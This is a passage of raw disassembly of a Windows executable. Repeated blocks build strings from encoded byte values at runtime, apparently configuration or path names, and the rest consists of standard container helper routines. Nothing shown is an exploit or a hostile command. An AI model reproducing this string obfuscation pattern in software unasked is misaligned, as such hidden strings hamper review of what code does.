--------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx mov byte ptr [esp+3DCh], 34h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 35h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 36h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+218h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 37h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h mov byte ptr [esp+380h], 3Ah push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Ch call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D834F push eax mov [esp+14h], edi call sub_401A73 lea ecx, [esp+68h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Dh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Eh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Fh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 40h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 41h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 42h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx mov byte ptr [esp+3C4h], 43h call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 44h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 45h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 46h call sub_4019C4 add esp, 5Ch mov byte ptr [esp+370h], 47h mov ecx, eax call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 48h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+90h] push 13h push eax mov byte ptr [esp+3DCh], 49h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 4Ah call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Bh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 4Ch call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Dh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Eh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h mov byte ptr [esp+3CCh], 4Fh push eax call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 50h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 51h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D834F push edx mov [esp+14h], edi call sub_401A73 push offset byte_448F30 push offset word_4E8E5A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_40142E lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_40142E push 56D2h push 539h mov byte ptr [esp+360h], 53h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea eax, [esp+23Ch] push offset dword_4447F4 push eax call sub_40102D push 56D2h push 539h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea ecx, [esp+280h] push offset dword_4447F4 push ecx call sub_40102D add esp, 10h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+805h] push eax mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+260h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E8E5A call sub_4014D3 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1A0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 16Dh call sub_4017EE push eax push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1B6h call sub_4017EE push eax push offset dword_4493A4 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] call sub_4017EE push eax push offset dword_449280 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 124h call sub_4017EE push eax push offset word_449312 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 0DBh call sub_4017EE push eax push offset byte_4492C9 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 92h call sub_4017EE push eax push offset byte_44935B mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1FFh call sub_4017EE push eax push offset byte_44947F mov ecx, offset word_44ACD6 call sub_4015A0 lea ecx, [esp+200h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 lea ecx, [esp+290h] mov byte ptr [esp+370h], 54h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax call sub_401870 lea ecx, [esp+128h] mov byte ptr [esp+388h], 55h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0A4h], esp push eax call sub_401870 lea ecx, [esp+170h] mov byte ptr [esp+3A0h], 56h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0C0h], esp push eax call sub_401870 mov ecx, offset word_44AC5E mov byte ptr [esp+3B8h], 53h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 mov byte ptr [esp+358h], 1Dh lea ecx, [esp+44h] call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 3 call sub_401226 mov byte ptr [esp+358h], 2 lea ecx, [esp+1B8h] call sub_401226 lea ecx, [esp+1E8h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+98h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 5E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401983 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409548 mov ecx, esi call sub_40191A ; --------------------------------------------------------------------------- loc_409548: ; CODE XREF: sub_409530+Fj mov ecx, esi call sub_401A46 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409570 proc near ; CODE XREF: sub_401A73j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_401695 pop esi retn 4 sub_409570 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095A0 proc near ; CODE XREF: sub_401A46j mov eax, [ecx+4] retn sub_4095A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095C0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4095C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095E0 proc near ; CODE XREF: sub_401983j mov edx, [ecx+4] test edx, edx jnz short loc_4095EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4095EA: ; CODE XREF: sub_4095E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_4095E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409610 proc near ; CODE XREF: sub_401695j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A46 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401BAE mov ecx, edi call sub_401A46 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409610 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409660 proc near ; CODE XREF: sub_40191Aj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_440088 push edx call sub_437B22 sub_409660 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096E0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4097AB mov ecx, esi call sub_401983 cmp edi, eax jnb short loc_409713 mov ecx, esi call sub_401983 mov ebp, eax jmp short loc_409715 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096E0+26j mov ebp, edi loc_409715: ; CODE XREF: sub_4096E0+31j mov ecx, esi call sub_401983 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CC1 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016E0 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401983 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4097AB: ; CODE XREF: sub_4096E0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409809 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401FB4 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409809: ; CODE XREF: sub_4096E0+D8j test edi, edi jbe short loc_409843 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016E0 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CDF mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401FB4 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409843: ; CODE XREF: sub_4096E0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_4096E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098B0 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4098D0 loc_4098C1: ; CODE XREF: sub_4098B0+1Ej push esi mov ecx, edi call sub_402090 add esi, 4 cmp esi, ebx jnz short loc_4098C1 loc_4098D0: ; CODE XREF: sub_4098B0+Fj pop edi pop esi pop ebx retn 8 sub_4098B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098F0 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4098F0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409910 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409930 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409962 push edi mov edi, [esp+10h+arg_8] loc_409946: ; CODE XREF: sub_409930+27j push esi push edi mov ecx, ebx call sub_4015B4 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409946 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_409930+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409930 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409980 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4099A7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409996: ; CODE XREF: sub_409980+23j push ebx push esi mov ecx, ebp call sub_4015B4 add esi, 4 dec edi jnz short loc_409996 pop esi pop ebx loc_4099A7: ; CODE XREF: sub_409980+Aj pop edi pop ebp retn 0Ch sub_409980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099C0 proc near ; CODE XREF: sub_401CC1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402059 sub_4099C0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099F0 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_4099F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A20 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_409A3D mov edx, [esp+arg_8] push esi loc_409A31: ; CODE XREF: sub_409A20+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409A31 pop esi locret_409A3D: ; CODE XREF: sub_409A20+Aj retn sub_409A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A50 proc near ; CODE XREF: sub_401CDFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409A72 mov eax, [esp+arg_8] push esi loc_409A61: ; CODE XREF: sub_409A50+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409A61 pop esi retn ; --------------------------------------------------------------------------- loc_409A72: ; CODE XREF: sub_409A50+Aj mov eax, [esp+arg_8] retn sub_409A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AB0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_409ABA xor eax, eax loc_409ABA: ; CODE XREF: sub_409AB0+6j shl eax, 2 push eax call sub_437AEA sub_409AB0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409AFB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409AFB: ; CODE XREF: sub_409AE0+11j 